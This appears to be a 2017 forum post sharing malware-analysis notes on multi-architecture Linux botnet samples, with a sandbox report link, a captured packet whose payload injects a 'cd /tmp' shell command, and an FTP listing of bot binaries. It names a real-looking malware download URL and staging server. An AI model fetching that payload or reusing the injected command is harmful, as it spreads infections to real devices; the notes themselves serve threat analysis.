中神通公司技术论坛 - Powered by Discuz! Board

标题: Analyze linux malwares on x86, x86-64, ARM, MIPS and MIPSEL cpu architecture [打印本页]

作者: linda 时间: 2017-11-8 11:52 标题: Analyze linux malwares on x86, x86-64, ARM, MIPS and MIPSEL cpu architecture

https://detux.org/index.php

https://detux.org/report.php?sha256=c23b691317a7604a46fb2c25208ed465282056b193a4ca24a729bc1c96bdd426

http://191.96.112.106/r00ty.sh

11:21:01.938741 IP 80.211.252.60.47685 > 192.168.0.3.53413: UDP, length 420
      0x0000:  4500 01c0 d431 0000 e711 f03f 50d3 fc3c  E....1.....?P..<
      0x0010:  c0a8 0003 ba45 d0a5 01ac 0000 4141 0000  .....E......AA..
      0x0020:  4141 4141 2063 6420 2f74 6d70 207c 7c20  AAAA.c.d./tmp.||.

f.tp 191.96.112.106
Connected to 191.96.112.106.
220 (vsFTPd 2.2.2)
Name (191.96.112.106:root): a.nonymous
-rwxr-xr-x 1 0       0       149704 Nov 06 09:21
-rwxr-xr-x 1 0       0       121114 Nov 06 09:21 f.tp
-rw-r--r-- 1 0       0          2239 Nov 06 09:21 f.tp1.sh
-rwxr-xr-x 1 0       0       142230 Nov 06 09:21 h.ttpd
-rwxr-xr-x 1 0       0       139362 Nov 06 09:21 pf.tp
-rwxr-xr-x 1 0       0       125210 Nov 06 09:21 pl0xi686
-rwxr-xr-x 1 0       0       171554 Nov 06 09:21 pl0xmips
-rwxr-xr-x 1 0       0       171682 Nov 06 09:21 pl0xmipsel
-rwxr-xr-x 1 0       0       137568 Nov 06 09:21 pl0xppc
-rwxr-xr-x 1 0       0       129665 Nov 06 09:21 pl0xsh4
-rwxr-xr-x 1 0       0       151763 Nov 06 09:21 pl0xsparc
-rwxr-xr-x 1 0       0       140996 Nov 06 09:21 pl0xx64
drwxr-xr-x 2 0       0          4096 Mar 22  2017 pub
-rwxr-xr-x 1 0       0       164213 Nov 06 09:21 r.ootyphones

欢迎光临中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/)